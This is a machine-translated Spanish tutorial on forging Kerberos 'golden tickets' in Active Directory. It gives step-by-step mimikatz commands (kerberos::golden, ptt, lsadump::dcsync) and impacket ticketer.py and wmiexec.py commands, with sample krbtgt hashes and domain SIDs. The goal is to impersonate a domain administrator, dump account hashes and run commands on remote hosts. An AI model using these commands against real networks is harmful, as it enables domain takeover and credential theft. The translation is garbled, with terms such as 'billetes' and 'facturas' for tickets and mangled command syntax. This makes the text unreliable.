principio
El principio de los billetes de oro es utilizar el hash de krbtgt para falsificar el contenido de TGT. Cambie los parámetros del cliente y la clave de sesión en el interior. Dejemos que TGS piense que soy quien digo ser, por supuesto que generalmente afirmo ser un administrador. El cuarto paso consiste principalmente en verificar la identidad del cliente.
El llamado ticket dorado es en realidad el ticket de tgs en la segunda etapa de la autenticación kerberos, que es TGT. Este ticket es equivalente a una credencial de autenticación de identidad para el solicitante. Si este ticket se puede falsificar, entonces se puede falsificar cualquier identidad y el ticket dorado es un método de implementación.
Para conocer el principio del protocolo kerberos, consulte: Autenticación NTML y autenticación Kerberos y conocimientos relacionados con PAC .
Condiciones previas y pasos operativos
Condición previa
1. El hash de krbtgt
2. La autoridad de administrador local
3. El sid del dominio (el sid de un usuario normal es el sid del dominio excepto los últimos tres dígitos)
4. La autoridad de administrador local de cualquier usuario en el dominio
Pasos
Vaciar notas existentes
kerberos :: purgar
Hacer billetes de oro
kerberos :: golden / usuario: Administrador / dominio: test.com/sid: S-1-5-21-4166986646-4168497534-2490551922 / krbtgt: 308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi
Cargar billetes de oro
kerberos :: ptt 1.kirbi
Resultados de la prueba
lsadump :: dcsync /domain:test.com / user: krbtgt
lograr
Implementación usando mimikatz
dirección de descarga de mimikatz
Supongamos que hemos obtenido el hash krbtgt controlado por dominio como d8d2ad72a119a8d418703f7a16580af6 de alguna manera.
1. Abra una ventana de cmd con derechos de administrador.
2. Utilice mimikatz
El primer paso: escalar los derechos y aclarar las facturas
klist purge #Ejecutar en cmd
privilegio :: Depurar
kerberos :: purgar
kerberos :: lista
Paso 2: haz un billete de oro
Obtenga el sid de dominio: S-1-5-21-3763276348-88739081-2848684050-1110
ejecute el comando:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi
Una vez finalizada la ejecución, se generará un archivo 1.kirbi en el directorio de ejecución.
Paso 3: usa billetes de oro
En este momento, veamos primero si podemos usar el comando dcsync. Este comando solo se puede usar con autoridad de control de dominio. Su función es exportar las contraseñas de las cuentas de todos los usuarios del dominio. Por supuesto, el resultado es definitivamente un fracaso:
porque no tenemos una "tarjeta de identificación" controlada por dominio que sea tgt.
En este momento, importaremos el tgt falso recién creado al sistema y lo
probaremos : kerberos :: ptt 1.kirbi
lsadump :: dcsync /domain:test.com / user: krbtgt
Algunos pozos encontrados
Después de terminar la factura, ejecute lsadump :: dcsync /domain:test.com / user: krbtgt informará un error. Más tarde, después de estudiar durante mucho tiempo, descubrí que mientras espere unos minutos y luego pruebe y ejecute el comando, tendrá éxito, o puede salir de mimikatz y volver a entrar. No conozco el principio.
Este tipo de ticket solo se almacenará en la ventana de línea de comando con autoridad de administrador. Si cambia la ventana de línea de comando para que se ejecute en este momento, encontrará que no existe tal certificado.
Implementar con impacket
El principio es el mismo que el de mimikatz, pero las herramientas utilizadas son diferentes.
lograr
Paso 1: Abra una ventana de línea de comando con autoridad de administrador y borre el ticket
Paso 2: hacer un archivo ccache
python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator
Paso 3: cambiar las variables de entorno
set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache
Paso 4: Verifique los resultados
python wmiexec.py test.com/administrator@yukong -k -no-pass
para resumir
El uso de impacket para hacer facturas tiene ciertas limitaciones: después de hacer facturas, no puede ver el caché bajo el comando klist. No hay forma de usar net use \\ ip \ admin $ para establecer una conexión de tubería. Pero puede usar su propia herramienta para controlar de forma remota el host designado bajo un determinado formato de comando. El formato del comando es:
xxxx.py dominio / nombre de usuario @ nombre de host -k -no-pass
El dominio aquí debe ser el mismo que el valor de dominio en systeminfo.
El nombre de host se puede determinar mediante el comando net view, o nbtstat -A ip, o ping -a ip. Se recomienda el comando ping -a.
Como prueba es un nombre de dominio, yukong es el nombre de host.
¿Qué es FQDN?
FQDN es la abreviatura de Fully Qualified Domain Name / Fully Qualified Domain Name, Fully Qualified Domain Name, que es el nombre de dominio, será resuelto por DNS durante el acceso para obtener la IP. FQDN = Nombre de host + Nombre de dominio, por ejemplo, una empresa solicita el nombre de dominio comp.com, y en este momento hay un host llamado web, puede usar web.comp.com para obtener la IP del host. Si hay dos hosts cmail y oa que brindan servicios de correo electrónico y OA, se puede usar el siguiente FQDN en este momento:
cmail.comp.com
oa.comp.com
Para obtener más información sobre el uso de impacket, consulte el siguiente artículo:
Resumen del uso de impacket